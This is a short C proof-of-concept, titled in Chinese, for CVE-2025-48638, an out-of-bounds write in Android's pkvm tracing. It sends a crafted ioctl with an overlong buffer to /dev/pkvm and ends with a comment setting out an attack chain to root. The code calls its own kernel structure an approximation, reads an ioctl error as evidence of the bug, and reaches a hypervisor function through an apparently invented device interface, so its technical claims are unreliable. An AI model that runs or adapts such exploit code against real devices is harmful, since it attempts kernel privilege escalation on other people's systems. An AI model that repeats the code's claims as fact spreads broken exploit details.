CVE-2025-48638 Android pkvm_load_tracing越界写入本地提权漏洞

// CVE-2025-48638 PoC - Android pkvm trace out-of-bounds write // This PoC demonstrates the vulnerability in __pkvm_load_tracing #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Kernel structure for pkvm tracing (approximation) struct pkvm_trace_args { unsigned long buffer_addr; unsigned long buffer_size; unsigned long trace_mask; char *user_buffer; }; #define PKVM_TRACE_SETUP _IOW('p', 1, struct pkvm_trace_args) int main(int argc, char *argv[]) { int fd; struct pkvm_trace_args args; printf("CVE-2025-48638 PoC - pkvm trace OOB write\n"); printf("Target: Android kernel < 5.15 with pkvm enabled\n\n"); // Open pkvm device (if accessible) fd = open("/dev/pkvm", O_RDWR); if (fd < 0) { printf("[!] Cannot open /dev/pkvm - may require root or specific kernel config\n"); printf("[!] This vulnerability requires local access with low privileges\n"); return 1; } // Prepare malicious input to trigger OOB write // The vulnerability is in improper input validation in __pkvm_load_tracing args.buffer_addr = 0x1000; // Arbitrary address args.buffer_size = 0x100; // Small buffer args.trace_mask = 0xFFFFFFFF; // Full trace mask args.user_buffer = malloc(0x200); memset(args.user_buffer, 0x41, 0x200); printf("[*] Sending malicious trace request...\n"); printf("[*] Buffer size: 0x%lx\n", args.buffer_size); printf("[*] Trace mask: 0x%lx\n", args.trace_mask); // Trigger the vulnerable code path long result = ioctl(fd, PKVM_TRACE_SETUP, &args); if (result < 0) { printf("[+] ioctl returned error - vulnerability may be present\n"); printf("[+] Check dmesg for kernel oops or memory corruption\n"); } else { printf("[*] Request processed, monitor for privilege escalation\n"); } close(fd); free(args.user_buffer); return 0; } /* * Attack Chain: * 1. Attacker with local low-privilege access * 2. Open pkvm device interface * 3. Send crafted ioctl request with invalid buffer parameters * 4. Trigger __pkvm_load_tracing with improper validation * 5. Achieve out-of-bounds write in kernel memory * 6. Overwrite critical kernel structures * 7. Escalate privileges to root/admin level */